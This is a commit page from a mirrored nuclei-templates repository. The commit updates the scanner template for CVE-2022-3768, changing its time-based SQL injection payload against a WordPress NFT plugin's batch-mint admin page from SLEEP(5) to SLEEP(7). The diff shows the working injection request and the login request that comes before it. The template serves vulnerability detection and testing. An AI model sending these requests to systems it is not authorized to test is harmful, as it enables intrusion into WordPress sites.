daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2022-3768.yaml

patch-1
J4vaovo 2024-02-06 23:41:49 +08:00 committed by GitHub
parent 4ac99f3c3e
commit 1a04cef30c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
http/cves/2022/CVE-2022-3768.yaml
View File

@ -42,13 +42,13 @@ http:
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- | - |
GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf)&uid=1 HTTP/1.1 GET /wp-admin/edit.php?post_type=nft&page=nft-batch-mint&step=4&collection_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&uid=1 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'duration_2>=5' - 'duration_2>=7'
- 'status_code_2 == 200' - 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")' - 'contains(content_type_2, "text/html")'
- 'contains(body_2, "Batch Mint NFTs")' - 'contains(body_2, "Batch Mint NFTs")'